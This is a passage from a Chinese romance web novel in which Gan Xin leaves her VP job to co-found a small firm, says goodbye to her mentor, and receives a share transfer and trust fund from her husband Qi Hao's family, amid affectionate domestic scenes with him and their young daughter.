甘歆有些意外,她和齐灏相识于工作,他也深知甘歆在工作上的努力和认真,并且也凭着自己的能力到达了VP的位置,从这么高的位置离开,由小公司从头再来,她以为齐灏多少会劝她两句。 “你怎么不劝我?” “劝你什么?” “比如晟宇和雅悦合并后公司的排名会上去,VP能够接触到更多,也有更宽阔成熟的事业之类的?” 齐灏抿嘴笑着摇了摇头,“你刚刚说,在做新的事情的时候,感觉到了快乐。” 甘歆承认,“是很快乐,简单、直来直往,左手交钱、右手交差的生意,还可以塞很多自己的灵感和建议,暂时还不用为各个部门的利益拉扯,以后就算有,我作为合伙人,也有足够的资历和资本,拥有我自己的话语权。” 她的这段话直接撞到了齐灏的心里,原本以为,甘歆只是想脱离目前的工作环境,换一个简单直白的,他起先还担心,是因为周旋在这几个公司之间,让她觉得复杂、心生疲倦才会做这样的决定。 他原本还想要剖析她的意图,化解她心里的症结,才不想劝,才舍得让她从头再来。 齐灏再次清醒地认识到,甘歆从来不是需要他保护的娇花,从他还没有保护她的能力开始,到现在,所有的选择都是她亲自选下,一步步走来,除了偶然情感上需要他之外,他根本无需担心她生存的能力,和奋进的意志。 他们的话语权来自家族传承,从小便在利益得失中钻营。 面前这位女性,她的话语权,她要自己挣。 他爱的人,既勇敢、又伟大。 齐灏向甘歆伸出手,不是十指相扣,也不是平日里牵手的手势,而是真真正正握手的姿势,“希望有一天,能在寰科的供应商库里看到贵司的名字。” 他的每一步反应都在甘歆的意料之外,齐灏总是给他惊喜。 他的感谢、他的不劝说,还有……他的尊重和期待。 他并没有利用是她先生的这个身份,想要通过资金或者业务支持,来托举他的妻子即将要做的事业,而是站在行业的顶点,充分相信他的妻子能力,会一步步向最高处走来。 甘歆欣慰地露了个笑,握上了齐灏的手,“会的。” 还没认真握两下,就被男人拽到了怀里,他像对待小女孩一样刮了刮她的鼻子,“怪我当时关心太少,你那些同学都是男的还是女的啊?” 哎哟,刚刚还是虚怀若谷的齐董事长呢,这会儿怎么心眼又比针尖尖还小了。 “我饿了,聊那么久都不知道给我一口水喝,嫁进你们家怎么这个待遇啊。” 齐灏故意将嘴唇舔湿印在她的唇上,“那就给一口。” “太小气了,”甘歆闹他,“我还饿了呢,不跟你好了。” “你还没回答我的问题,”齐灏一把将要起身的甘歆拉下来箍在怀里,“有没有男的?” “什么啊?”她假装听不懂。 他挑了个下巴,又重复了一遍,“和你要合伙的有没有男同学?” “当然有了,”甘歆憋着笑,也实话实说,“哎你别说啊,那个小男生是负责业务的,还挺厉害的,之前他就是斜杠,慢慢就自己出来做了。” “还挺厉害的?” 甘歆笑得都憋不住了,说了那么多话,就听见了这句,她有点头,“嗯,挺厉害的啊,人长得也精神。” “人长得也精神!?” 她又点了点头,说话声儿都带着钩子,“好像还是单身。” 齐灏的脸都垮下来了,“你可不是单身。” “你都不让我吃饭啊,”甘歆拍了一下他的胸口,“饿着人,还不许人家到外面找饭吃了啊?” 齐灏惊讶得眼睛都瞪大了,“吃,现在就吃饭。” 平时阳阳齐罪在带,住家阿姨和育儿嫂都在那儿,平日里就来这做个晚饭,放到了保温板上后就会离开,给了两人充分的相处空间。 他一把将甘歆抱了起来,到了餐桌边都不肯放下,甘歆越挣扎,他箍得越紧,难得说起了霸道的话,“就坐老公腿上吃。” 她笑着啃了一口齐灏的下巴,“你好凶啊,我好怕啊。” “哼哼,”他又轻轻揪了甘歆的鼻子一下,“吃饱了好办事。” “哎哎——我们说好的,今晚不行——” “有什么不行的,”齐灏也胡搅蛮缠了起来,“一会儿我就给沈确打电话。” “不可以!”甘歆捉住了他的手腕。 “不可以吗?”他的眼睛里露出了狡黠,“那给不给办?” 还没等她答复,齐灏就一口吻上了她的唇,“老婆,我也要饿死了。” 第97章 第97章你就这张嘴好用! 发布会期间,甘歆特意将前台需要出面的几乎全都交给了同事,她没有在任何场合发言,也没有在任何社交场合出现,只是静静地坐在控制室里看外面的状况。 她今天没有穿高跟鞋,而是舒适的矮方跟皮鞋,宽松的休闲西装里,搭着一件珍珠白色的缎面短袖,乌黑柔亮的半长发过肩,没有再用发圈束缚起来。 甘歆透过面前的玻璃看向台上正签字握手的齐灏和沈确,微微提了提嘴角,目光里少了些和主办方有关的紧绷,更多的是对自己爱人和朋友的祝福。 焦点模糊,落在眼睛里的画面渐渐有了光斑,再聚焦,就看见了倒映在玻璃上自己的脸。 不知道从什么时候开始,不再沉迷红唇,眼神里的侵略性少了,也不再避讳眼角的细纹,与人沟通更喜欢用简洁的方式,也在保障自己和部门利益的时候尽量为他人行方便,期待值从绩效、威望之类的东西,再次回归到了事务的本身。 这次的笑容是甘歆对着自己的。 她从见山是山,走过了见山不是山的岁月,终于到达了见山还是山的里程点。因为经历过,所以开启新路程,不再害怕、没有迷惘,不会鲁莽、没有蛮干,而是用热情脚踏实地、以专业步步为营,造就自己的山。 掌声与闪光灯同时出现,发布会顺利结束了。 沈确还会留下来接受记者的采访,齐灏直接从会场离开,路过最后控制室的时候,甘歆与他的目光有一瞬间的接触,她也在他的脸上读到了一丝笑容。 甘歆发现,那个曾经我行我素、目中无人的青年才俊,也成熟了许多,不再对着跟在身边的记者冷脸,也会点头说谢谢。 他过去发布的那则公告,真的好像从所有人的记忆里删除了。过去甘歆以为,“互联网是没有记忆”的这句话实在太扯,可到了如今,她才明白这句话确实有些道理。 现在她在晟宇,尚且有同事和同行偶尔会连带着齐灏一起调侃一下,以后离开了,那这层关系会被越来越多的人淡忘,淡忘到齐灏在对待晟宇的时候不再束手束脚,淡忘到自己工作的时候不再有人会聊些没边界感的话题。 她和齐灏的小情小爱,他们自己记得、家人记得、朋友记得,就足够了。盛大的场面往往是在支撑内心的不安,心里都满得溢出来的人,不会再伸手问外界要更多的东西。 甘歆低头一笑,以前还无奈过自己和齐灏是两个世界的人,现在反而庆幸这种状态,因为是两个世界,所以会不谋而合、殊途同归,外面的圈子兜得再大,两人回到的还是自己的家。 “歆总,”旁边的场控同事轻喊了她一声,“沈董现在采访完了,是不是应该市场部门同事准备现场social了?” 她循声回过神,温柔地笑了笑,“你看呢?” “我看行,”他说,“之前rundown里的退场是因为担心冷场,但现在气氛挺热烈的,现在入场应该能结交到不错的媒体老师,对晟宇的口碑也好。” 甘歆心里欣慰,表面没有任何表态,依旧是笑,“按照你设想的来。” “好嘞!” 看着转过身拿过对讲机缓缓交代,语气从一开始的试探到慢慢坚定,甘歆觉得,将现场交付给他完全没有问题,她站了起来,拍了拍他的肩膀,“你在这看着,我去找一下沈董。” “啊……您别走,我、我怕出问题……” “你已经做了一个很棒的决定,接下来不管有什么问题,我觉得你都可以应对。” 他好像是第一次被甘歆这么夸,连表情都带这些夸张。 甘歆又对他鼓励地一笑,没再多说,便离开了控制室,尽量躲着人群的视线尽量贴着墙边走路,相熟的媒体朋友想来与她打招呼,甘歆便摆了个道歉的姿势,也快速从手机里找到对方的联系方式,说自己老板找,下次再请对方喝茶。 从会议室尾走到会议室头短短的这段路,甘歆竟然有些紧张,更说不清是不是兴奋,她好像回到了十多年前,刚被沈确招进晟宇做实习生的日子,那种久违的、即将和老板汇报的那种紧张。 会议室最前端有个隐形门,推开后是一间比较私密的会客室,外面人多,甘歆便没再顾及那些礼仪,缓缓将门推开了。 沈确悠然自得地坐在沙发位上,仿佛知道甘歆会来找他一样,对着她抬了抬下巴,话说得也自然,“坐,一上午没看见你,躲哪儿去了?” 甘歆没有扭捏,坐到了与沈确相隔一个茶几位的沙发坐里,但到底还是调整了一下坐姿,对老板表达了尊重,“一直在控制室,整个发布会很顺利。” “顺利就不出来了?” 甘歆从这个老狐狸的眼神里,读到了一些他早就“窥探先机”的意味,她没有和他玩笑,而是清了清嗓子,“老板,晟宇的执行已经完全没问题了,市场部运营状态也良好,新来的总监和张然也配合得很好。” 沈确点了点头,随手递给了她一瓶酒店的饮用水,“ 嗯,我知道,喝点水。” 甘歆接了过来,她有些摸不透沈确的意思,在即将开口前,他又继续说了起来,“打算什么时候走?” 果然,还是瞒不过老狐狸的心思。 她讪讪一笑,有些不好意思,“可能……下个月初。” “下个月初?”沈确皱了皱眉,沉思了一会儿,“已经月中了,会不会太快?” “老板,”甘歆也不和沈确绕弯子了,“VP基本没有实际执行的事务,业务拓展方面我……断断续续地都基本交接好了,不会有影响。” “我是说,对你来说,下个月初会不会太快了?” 甘歆不解,“嗯?” “新公司准备得怎么样?股权和职能都划分清楚了吗,和你合伙的那些人……专业吗?” 她突然有些感动得说不出话来,真想真真切切地喊沈确一声师父,他担心的竟然不是晟宇,而是她,甘歆眼眶有些发热,笑得十分真诚,也不夸大其词,实事求是地、像无数次对着沈确汇报那样,说着自己新公司的进度,“都在慢慢进行当中,应该也会有磨合,合伙的有小朋友,也有年纪大一些的,但是个新的尝试,我想自己走一遍。” “阿歆,我不是名师,但你是高徒,”沈确伸过手来,想要与她握手,“希望你得偿所愿,欣欣向荣。” “谢谢老板,”她握上了沈确的手后,又擅自加了一句,“谢谢师父。” 刚刚还严肃认真的沈确,又耍起了他的小无赖,拿出手机,打开齐灏的对话框,作势要按下语音条键,“哎哎,最后四个字,再说一遍。” 看到联系人的甘歆,没忍住翻了个白眼,真是幼稚! 刚刚还在台上礼宾相待、互相谦让的两个男人,又暗自掐起来了。 “你俩差了二十来岁了吧?斗的哪门子高下呢?”甘歆又好笑又好气。 “可不是我要跟他过不去啊,”沈确也换上了轻松的表情,“你自己的小老公多记仇你不知道?我家婷婷现在见到他还不太敢说话呢。” “……哎呦,你家婷婷,你家婷婷乐意是你家的吗?” 沈确呼气摇了摇头,凑上前坐了坐,“阿歆,你说,现在年轻人还喜欢什么啊,我是真没招了,她现在就是理理我,又气气我,偶尔还躲着我,怎么个事啊?” 甘歆笑得都快不行了,好不容易摆好了表情,“你去问齐灏啊,这个他熟。” 沈确故作哀嚎,“你们这样不嫌累啊?” “这个问题你也可以问齐灏。” “……白问,你做什么他都爽,”沈确手指点了点茶几,“他就是个M!” “您还知道M呢?” 老男人的表情愣了一下,又有些不自然,“啊,我也算涉猎广泛。” 本来以为要陈情一堆的甘歆,在和沈确的嬉笑中完成了告别,她知道,这是属于沈确独有的处理方式,也是他作为高位者的温柔。 甘歆原还想和他多聊聊,被他一句“齐灏让我告诉你他在车库等你”给打断了,她还露出了些嫌烦的表情,沈确倒是有些煽风点火,“心眼跟针一样小,连跟我多呆一会儿都不干,婚后生活略窒息啊歆总。” 她哪里不知道沈确这是逞口舌之快呢,工作上她可以以晟宇为先,感情里齐灏始终是第一位,她不遮掩、她的幸福生活本来就值得称颂,“千金难买我乐意啊。” 这句话噎得沈确说不出话来,握着拳轻轻捶了两下桌,不知道在无奈感慨些什么“不为人知”的事情。 离开会场前,甘歆将自己工作人员的牌子摘了下来,放进了自己休闲西装的口袋里,她想,在晟宇的日子也确实需要一个纪念,这样作为“工作人员”的身份就是份很完美的告别。 电梯到了B2层,甘歆就看见了齐灏的车,他难得坐在驾驶位,她甚至没有去想过车门是不是锁着,走到副驾门边就开门坐了进去。 两人对视笑了笑,她才开口:“还以为你和沈确说了多正经的话呢,假公济私啊。” “有什么好说的,”齐灏的食指敲了敲方向盘,“正经事合同条款里都说明白了,他是得益者,帮我带句话怎么了。” “哦,”甘歆揶揄他,“他是得益者,你不是?” 本以为你来我往还会针锋相对拉扯两句的对话,被齐灏故意皱起的眉毛和鼓起的脸颊给破了,他连声音都带着茶香,“老婆,你怎么胳膊肘往外拐啊?” “也不能一直向着你啊,”甘歆抬着眼睛笑着对齐灏说,“哪能让你处处得便宜。” “哪有,”他都嘟囔了起来,“昨天晚上也是给我画饼,”又摇了摇头,“你们这些创业的人啊,最擅长的就是给人画饼了。” 甘歆听了气不打一出来,揪起了齐灏的耳朵,“说什么呢?” “没没没,我说创业的人有野心、有追求。” 她都气笑了,“你就这张嘴好用!” 齐灏舔了舔嘴唇,下唇都有些晶莹,故意凑得离甘歆很近,说话的声音都沉了下去,“好用吗,昨晚姐姐很喜欢。” “你——”甘歆被戳中了弱点,一时语塞,她能说什么,毕竟确实给他画了张饼子,自己累了就睡着了。 她推搡着齐灏的脸让他往那边去点,他也没再反驳,启动了车驶离。 “周泽呢?”甘歆突然想起来问。 齐灏会心一笑,“他也给我画了张饼,不仅给我画了,也给唐满画了,但出去闯闯也是好事,他有他的价值。” 车正好驶离了车库,扑面而来的阳光让甘歆觉得刺眼,适应了一会儿后,周围的景致全部映入了眼帘,目光所到之处都是努力生活的人,他们或许有不同的表情、不同的心境,但都在为自己奋斗着。 “真好啊,”甘歆自言自语,“是得往外多看看。” “嗯,”齐灏附和,下一句就又拐了回来,“下班时间还是得多往家里看看。” “小气死你得了。” “嗯,我是小气鬼,”齐灏还挺骄傲,“家里还有个淘气包呢,阳阳今天回来了。” “今天?”甘歆有些意外,“爸不是周六才出发吗?” “他想先回老宅一趟,”齐灏把着方向盘,面色平静,“回去看看爷爷。” 甘歆点头,“也挺好的,他俩现在能平平静静说话了?” “二三十分钟吧,没什么问题,但也够了。” 她又突然想到了件事,“今晚你陪阳阳睡,新公司有个会,我得参与一下。” 齐灏笑了,笑得那么自然,“好的,老婆大人,请尽情随意地使用我吧!” 第98章 第98章这是老齐家迟到的聘礼,请你…… 阳阳已经会叫人了,齐罪抱在怀里,小家伙冲着甘歆就伸手,糯叽叽地叫着“妈妈——抱——” 齐灏进屋先洗的手,把阳阳抱了过去,“让妈妈先洗个手好不好?” 小家伙的眼睛滴溜溜地转,又抿着嘴点了点头,见甘歆去了卫生间,才半捂着嘴,凑到齐灏的耳朵边小声说:“爸爸,妈妈看宝宝小小。” 这神秘的倒装句,齐灏也没听懂,转头看向齐罪,用眼神问他爸什么意思。 “噢!”齐罪恍然,“最近阿歆不是忙新公司的事么,晚上和小东西视频时间短了,不乐意呢。” 齐灏笑了笑,颠了颠怀里的阳阳,“妈妈有她自己的事,我们不能把妈妈的时间都挤掉呀,如果阳阳早点和妈妈说晚安,妈妈就早些睡,阳阳会开心吗?” 小家伙的脑袋瓜感觉都转出了一阵风,长长的睫毛眨了又眨,小嘴嘟了又嘟,开始在齐灏身上挣扎,发出呜呜呜的声音。 他也不知道小家伙想到了什么主意,只好把她放下,恰巧甘歆从卫生间里走出来,只见阳阳踉踉跄跄地向她跑过去,一把抱住了她的膝弯,抬起头瞪着大眼睛,“妈妈,睡觉,快,晚安!” 接着她就从齐罪带过来的伞车里拿过了自己的小毯子,跑进了自己的房间,甘歆和 齐灏对视了一眼,觉得笑小家伙有些奇怪,便跟着她到了房间口,走到的时候她已经自己躺下了。 后背被揽住了,她回过头,对上齐灏的视线,“阳阳怎么了?” “她说着几晚你联系她的时间少了,又担心你忙得没时间睡觉,说自己少占点你的时间,就能让妈妈睡个好觉。” 甘歆听着齐灏的解释,却觉得有些牵强,豆丁大点儿的娃,怎么会那么懂事,又回过头去看齐罪,“爸,真这么回事?” “大差不差吧,”齐罪的笑里痞气越来越少,更多是平善的温柔,“小孩儿鬼精鬼精的,像小时候的阿灏,但胆子比他可大多了,有什么事也愿意说,这点比他强,还得是你。” 哎呦,这都是做爷爷的人了,刚想夸他靠谱,就来了点基因论,还不着痕迹地把儿媳妇夸了一遍,甘歆觉得他那会儿对着心上人,嘴肯定比齐灏还甜。 甘歆还是进了屋吻了吻阳阳的额头,和她亲昵地蹭了蹭额头,跟她说了好多好多爱,离开前还告诉她晚上爸爸会陪着她,才留了一盏床尾小小的夜灯,走出了房间。 她见齐罪齐灏父子俩正襟危坐在沙发边,表情都有些严肃,才走到齐灏身边坐了下来,把上了他的胳膊,轻声问:“怎么了?” 齐灏对着茶几上的文件抬了个下巴,神色有些不自然,也有些紧张,“抱歉,这个我事先不知道,这是我爸带来的,你要看看吗?” “什么?”甘歆有些好奇,拿过了桌上的文件夹,打开,“股权转让协议书?转让人是……我?!” 她立刻就抬头去看齐罪,“老爷子和您的股份,都转让给我?这……” “阿歆啊,”齐罪不敢去看齐灏的眼睛,和甘歆解释着,“老头子还是别扭,嘴里喊着是给阳阳,拟合同的时候指定要写你的名字,他电话里只说,你活得鲜活洒脱,他觉得一身轻着过也不错。” “不不不……这太贵重了,而且并不是我的……” “老头子知道你不会要,但他的原话是,这份文件,是送给你勒住阿灏的缰绳,臭小子办事多少有些极端,重大决定还是要请你把把关,请你能够当齐灏的保险栓。” 甘歆的手紧了紧,盯着齐罪看,没有说话。 “下面还有一份文件,才是老爷子真正想给你的,是一份信托基金,信托基金的主体并非是寰科,而是老爷子和我妈初创的第一家公司,没有其他任何公司和个人的牵扯,指定受益人是你,没有齐灏,也没有阳阳。” 甘歆想要说话,被齐罪的手势叫停了,“我们老齐家,原本也不是什么大户人家,走到今天,能力占小头,运气占大头,也没有那些弯弯绕绕的规矩,阿歆,这不与你育养阳阳有任何关系,纯粹是对你的感谢和歉意,简单来说,这是老齐家迟到的聘礼,请你一定收下。” 原本无意收下任何一份文件,在齐罪的一段又一段话里,甘歆没有了拒绝的理由,再看向齐灏,他的所有早在北泽村的时候交付给了自己的父母,此刻看向自己仿佛也没有任何表态,她相信,无论她的答案是什么,齐灏一定会全力维护自己。 但面对齐罪的真诚、齐老爷子的转变,甘歆也实在无法说出任何否定的话,“爸,谢谢您,您一定和老爷子周旋了挺久吧?” “哈哈哈,”齐罪突然大笑了起来,“我可什么都没提,是老爷子主动跟我说的,还催我赶紧找你签字来着。” “……老爷子的股份不是?”那时候齐灏找老爷子签股权转让书,不是已经转让掉了吗? “哦,那个,”齐罪长叹了一口气,撇嘴摇了摇头,“哎,要不怎么说这臭小子有活人感呢,可能就是因为他身边有你,他的心里始终都有一块柔软的地方吧,”齐罪怕是说累了,甩了齐灏的胳膊一下,“你自己说,我都渴死了,叭叭那么多,我去找水喝。” 齐罪去餐桌边倒水,目光一直没离开这,齐灏偏偏歪着坐了一下,连话都说得小声。 “之前的股权转让书,只让爷爷转让了部分,我只是要个董事长权限,并不是真的想架空他。” 甘歆眼神也柔软了下来,对着齐灏露了个微笑,也轻声回他,“我们阿灏真的很温柔。” 这句话不知道戳中了他的哪个点,他的耳朵尖都红了。 甘歆转头,对着齐罪说:“谢谢爸,也谢谢爷爷,聘礼我收下了,您这次去广粤,也请转告他老人家,我会做好阿灏的保险栓。” “哎哎,好!”齐罪仿佛终于完成了任务,挠了挠头,“那我回去了,阳阳你们带几天,我估计出去一个月,这段时间辛苦你们和大哥大姐了。” 没等他们说话,齐罪溜得贼快,留下两个窝在沙发里的人面面相觑,相视几秒,又噗地笑出来。 “啊——姐姐超有钱!”齐灏一头栽进了甘歆的怀里,“姐姐包养我!!” “拿你们老齐家的钱包养你?”甘歆拽了拽他的耳朵,“你倒是挺会替我算账的。” “本来就应该给你。” “为什么?”甘歆有些好奇。 “我们老齐家,”齐灏有鼻有眼地重复着之前和甘歆说过的话,“从我爷爷开始,四代单传,不给你给谁?” “那不一定啊,我要是变心——” 他的手指堵在了甘歆的唇上,眼神里有浓郁到化不开的温柔,“我们会一直在一起,一直一直在一起。” 甘歆把齐灏的脑袋抱在了怀里,问出了刚刚心里的疑问,“你什么时候知道我不想再生孩子的?” “你想也不能让你生了,”齐灏仰头看甘歆,带着些心疼地说,“太疼了,阳阳的到来对你造成的伤害,穷极我这辈子都无法弥补,只能尽力对你好一些,再好一些。” 甘歆笑着对着茶几努了努嘴,“对我还不够好?一家一当都掏给我了。” “那都是身外之物,”齐灏对着甘歆眨眼睛,抬起头用眼睫毛去蹭她的下巴,“你教会我的心软和善良,世界上所有的财富加起来,都无法置换万分之一,是姐姐你,给了我以前不敢奢求的鲜活人生。” 婚后齐灏从来不吝向甘歆表达爱意,但很少面对她剖析自我,他眼神认真,连动作都虔诚,甘歆有些受不住这样的场面,故意去闹他,伸手摸进了他衬衫第四颗纽扣下的缝隙,在他还未绷紧的腹部上来回抓蹭,直到他不得不憋气将腹肌绷出来。 “啊,看起来是刚刚到货的,确实鲜活。” 以往这样蹭弄,齐灏肯定会抓紧机会和甘歆好好腻歪一番,但他今天没有,看了看时间,轻轻拍了拍她的背。 “老婆,快抓紧吃饭,一会儿你先洗澡,”齐灏一面看着时间一面说,“等着一会儿还得开会,你帮我看一会会儿阳阳,我洗完了澡就去陪她。” 甘歆有些意外,“这么乖?” 他也跟着笑,口气是一如既往地欣赏和夸赞,“我们歆总是要做大事的人,这点觉悟,为夫还是有的。” 她伸手点了点他的鼻子,又挠了挠他的下巴,“小狗真听话。” 甘歆想,如果齐灏真的是一只德牧的话,那此刻他的鼻子一定是湿润的,挠下巴的时候,也会微微咧嘴,立着的耳朵也会抖一抖。 还没想完,屁.股上就被轻轻捏打了一下,“你要是再不起来,我可要换计划了。” 搂着他脖子的手松开了,甘歆小跳着去餐厅,还对着齐灏招招手,“快来吃饭。” 他们如同相处了很久的情侣一样,吃饭的时候并不多话,专注食物的本身。吃饭这件事,好像也从他们开始的时候贯穿到了现在。 甘歆夹了一块有软骨的糖醋排骨放到了齐灏的碗里,再去看齐灏,嘴角不经意地向上提了提,对着甘歆一直是都好、都可以的齐灏,其实也是有偏好的,也并不难以理解,他完全不需要其他人的仰视,只要愿意将他作为一个普通人来看待,他的一些小习惯和小喜好,很容易就能捕获到。 比如他喜欢吃排骨的软骨,比起禽类更喜欢吃红肉,对西餐并不着迷,也不爱吃零食,三餐偏爱粤菜,点心却更喜欢吃南方的。 注视之间,甘歆突然想到,或许很早很早以前,齐灏也是从这些点点滴滴里,开始关注自己的,温柔从心底里漫出来,她又给他夹了块排骨。 倒是齐灏有些受宠若惊,“怎么了,连给我夹两块?” 她眼睛里的欢喜那么容易看透,言语却不相让,“今天看你顺眼。” “啊——”他假装了然,也换了副逗趣的口吻对上甘歆,“那我汪两下给你听听?” 小傻狗。 第99章(正文完结) 第99章 第99章奉行自由,事事甘心…… 甘歆和朋友合伙的公司在两个 月后正式成立,其中还发生了些不小的摩擦,小公司没有大公司规范,他们原本接管运营的小伙子爱冒险,总想着在一些小地方省钱,可又涉及财务税务的,甘歆没答应,小伙子还来了火气,说她公司还没开起来,净想着花钱,留着以前大公司的习惯,一点儿都不接地气。 这样的情况在她过去的经历里从未发生过,更别说再次回到晟宇,连这么跟她说话的人都找不到半个。 当时会议室的气氛降到了冰点,另一个负责运营的姑娘拽了拽那个男生,小男生觉得自己没错,依旧梗着脖子等甘歆的答复。 新公司的合伙人里,甘歆的年纪最大,原本讨论声不断地小会议室慢慢噤了声,所有人的眼神都朝着甘歆看过来。幸好,没有看热闹的,反而几双眼睛透着担心,怕这位好不容易大家从大公司捞来的姐姐甩手不干了。 见状,甘歆勾了勾嘴角,慢慢浮现了个笑来,她还真没生气。工作这么多年,形形色色的人见过太多,年轻人的莽撞、傲慢,在她看来,也并非是件坏事,从侧面来说,他们也勇敢、自信,锋芒毕露。 “小庄老师,”比起在晟宇,甘歆在小公司里,给予了所有人更多尊敬,她说,“你的方案确,雇一个兼职财务,确实能在短期内为公司节省开支。” 男生听到了甘歆的回复,眉毛明显地挑了一下,又想插话补充,但被甘歆拦下了,“但如同我们所规划的那样,未来会涉及多领域的服务,这也表明,公司可能会开设不同的抬头和经营范围来运作,我不认为兼职财务能够兼顾那么多细节,我依旧不同意你的方案。” 小男生就像被当众批评了的学生一样,他脸色逐渐难看了起来,会议室里的气氛似乎更紧张了,甘歆换了个姿势,目光更加柔和地看过去,“但是,小庄老师为我们提供了很好的思路,初创公司确实在职能职位上无法投入更多成本,我在想,不如我们先和专业的财税公司合作,公对公的身份,大家也都有条款约束,是否能达到这个问题的次优解呢?” 她的这段话说得不快,弱化了自己以前的强势,照顾到了小男生情绪的同时,也给了比较合理的解决方案,换言之,她也顺势给了小庄一个台阶下,如果小男生聪明,一定会顺着她的意思下来,可若他不识相,甘歆收拾他的方式,可比哄他的法子多得多。 “歆姐说得对,我没有想到还有这个办法,我认为这个办法可行。” 幸好,这是个聪明的。 年轻人啊,真是野性难驯。 类似这样的摩擦在这两个月发生过不少,风水轮流转,现在带工作回来的人可不是齐灏了,往往吃完饭后,甘歆抱着笔记本就往书房里钻,拿齐灏的话说,就是溜得跟个泥鳅似的。 有些年轻人她不得不惯着,也有个年轻人,会自动地惯着她。 天气热,吃过饭的碗不经放,虽说阿姨总和他们说有中央空调,放在厨房里也没什么,但阳阳不在家的时候,齐灏总是习惯去刷碗,他觉得这样好像是回到了几年前的临江公寓,他的姐姐有要忙的事儿,他就在生活上给予她应有的帮助。 眼见着甘歆越来越忙,他也知道是公司到了关键阶段,没有过多的打扰,也只是切了个苹果端进了书房,玻璃碗扣到桌上的声音很轻,但甘歆还是停下了手里的工作,转过头来笑着对齐灏说:“这么好。” 他原本不打算多留,但看见她分神了,还是忍不住凑上前,像许多时候一样,蹲在甘歆的面前,双手把着她的腿侧,来回抚摸着,“递个苹果就能被你夸,老婆也太好哄了。” 甘歆见他这样,索性把防蓝光的眼镜取下来搁在了书桌上,深吸了口气又叹了出来,“哎,现在的小年轻怎么这么难搞。” 闻言齐灏笑了下,没多打听,只是仰头对着她笑,“我这种小年轻比较好搞。” “你好搞?”甘歆仿佛听了天方夜谭,“齐总这是忘了曾经怎么折腾我们团队的了,要不要我给你回忆回忆?” 见甘歆的手伸过来,他特别自然地将脑袋送过去,还用耳廓去层她的手指,一副期待她揪的样子。 见他这样,甘歆倒下不去手狠狠捏了,假模假样地揉了一把,低头更凑近齐灏一些,对上了他依旧深邃的眼睛,轻声说:“沈确都知道你喜欢被我蹂躏了,声名远扬啊。” 他也坦然,“只是他知道,不算远。” “你还想让更多人知道啊?” 齐灏抬眼点了点头,一副理所当然的样子,“嗯,当然是越多人知道越好。” 他的这个反应,让甘歆不得不想起之前自己出过的新闻,那些明晃晃的标题到现在依旧在脑内清晰,她也自那时候开始不再看娱乐八卦,噱头比事实来得更炸裂,人们就更愿意相信冲击力强的。 她温柔一笑,摇了摇头,“还是算了,低调点好,现在互联网跟放大镜似的,谁也保不齐又会挖出些什么来。” 齐灏哪能不知道她的意思,当下只说好,话锋一转,又回到了她刚才的话题,“姐姐太心软了,所以年轻人才会得寸进尺。” “你是在说你自己吗?” 他当然认,“包括我。” “合着就该对你们上点儿硬菜呗?”甘歆的视线又回到了电脑前,公司刚刚成立,活儿接了不少,流程上还是乱七八糟的,还得她全程操心一遍,她摸着笔记本的触摸板,“来硬的你们就认了?” “姐姐肯定有办法收拾他们,”齐灏也站起了身,站到了甘歆身后,仔细看了看屏幕,已经到了文档的最后一页,才将双手搭在她的双肩上,轻轻地揉按起来,“快十一点了,睡觉了老婆。” “等一下,还有一点你等我备注完的。” 齐灏便不再说话,静静地看着甘歆写批注,原本写得短,她好像又担心对方不够了解,又补了几句上去,才最终打上了句号,摁保存后阖上了笔记本。 甘歆的脑袋往后一仰,正好靠在椅背上,再睁开眼,就看到了齐灏的脸,没有抹发蜡的他,发梢都垂了下来,正好落在了她的嘴唇上,她的额头上落下了轻轻的一个吻,“辛苦了。” 她伸手搂过了齐灏的后脖颈,好将他的脑袋再往下拉一些,彼此的唇就契合在了一起,甘歆仰着脖子,享受着齐灏清新的味道和柔软的侵略,不知不觉间,和过去比,齐灏也有些变化。 比实际年龄成熟是他一直有的优势,只是比起过去,齐灏对待甘歆更加从容了,他不再需要用强烈的占有去提醒甘歆,他们在一起,他也不再担忧,哪天她会从他的世界消失。 甘歆的手掌抚着他的后脑勺,他们脸颊相贴结束了这个吻,她心里的工作被齐灏的这一套温柔带走了大半,整个人都轻松了不少,再看一眼他满脸的笑意,她觉得太幸福了。 事实上,让齐灏安心到这份儿上,说来也真的挺不容易的,一直缺乏安全感、患得患失的是他,年纪不 大,心思却重。甘歆知道,齐灏对自己除了喜爱,也于心有愧,无论是耍花样接近她也好,还是后面的误会,这些可能都无法消弭。 洗漱过后,两人平躺在床上,齐灏没有像往常一样搂过甘歆,而是像小狗一样进了她的怀里,毛绒绒的脑袋蹭着她的脖颈,甘歆觉得痒痒,欲伸手将他往外推推,但在看到他的眼神似乎有话想说,便没再动作。 “有事?” 齐灏点了点头,“快到寰科举办慈善晚宴的时候了。” 甘歆没说话,自那个新闻爆出后,她很少在公共场合与齐灏同框,只在亲友相聚的场合与他一起出现,他这时候向她提这件事,意图再明显不过,她打算开个玩笑对付过去,“齐总身边缺女伴吗?” 她的回答在齐灏的意料之中,他笑着摇了摇头,又点了点头,“说缺不缺,说不缺也缺。” “什么意思?”甘歆有些摸不着头脑,但继续揶揄他,“怎么还缺上了?” 齐灏在她的胸口蹭了两下,“今年寰科不办那个晚会了。” 她有些惊讶,这老牌的晚会自从老爷子开始就有了,历经了这么多年,突然说不办了,别说外界对寰科的猜测,恐怕行业里的大多数企业都不习惯,“不办了?” “嗯,不办了,没意思。” 他又起了说一句藏一百句的坏毛病,甘歆知道他一定有后招,没对齐灏客气,手背轻轻扇了扇他的脸,“卖什么关子,把话说完。” 他握过甘歆的手吻了吻指尖,看向她的眼睛里都是笑意,“那些都是以前的事了,今年寰科会换个形式,所以……不知道有没有这个荣幸,邀请歆总出席?” 齐灏在所有的细节上都予以了甘歆最大的尊重,他从不称呼甘歆为齐太太,私下撒娇卖萌的时候是姐姐、老婆,当着外人的面,总是叫她歆总,即使是开玩笑,也是领导领导地喊着。 这个邀请,甘歆确实有些好奇了,对于寰科,齐灏的改革总是大刀阔斧,那些他不要的、不赞成的,绝对会砍,要改的,也从不手软,这种在行业内既成惯例的慈善晚宴,在齐灏的手里,究竟会变成什么样。 “什么时候?” “下周末,”齐灏弯了弯眼睛,“你想的话,也可以带着你的小伙伴来。” “带小伙伴?”甘歆翻了个白眼,“我们那种小公司可拿不到号码牌。” “嗯……”齐灏顿了顿,凑上去就要去吻甘歆的唇,“回头让你的小伙伴上寰科的官网看看吧,很晚了,先睡吧。” 甘歆记下了,没太当回事,只在第二天的工作时间和已经跳槽到甘歆这的许嘉丽知会了一声记得去看看。 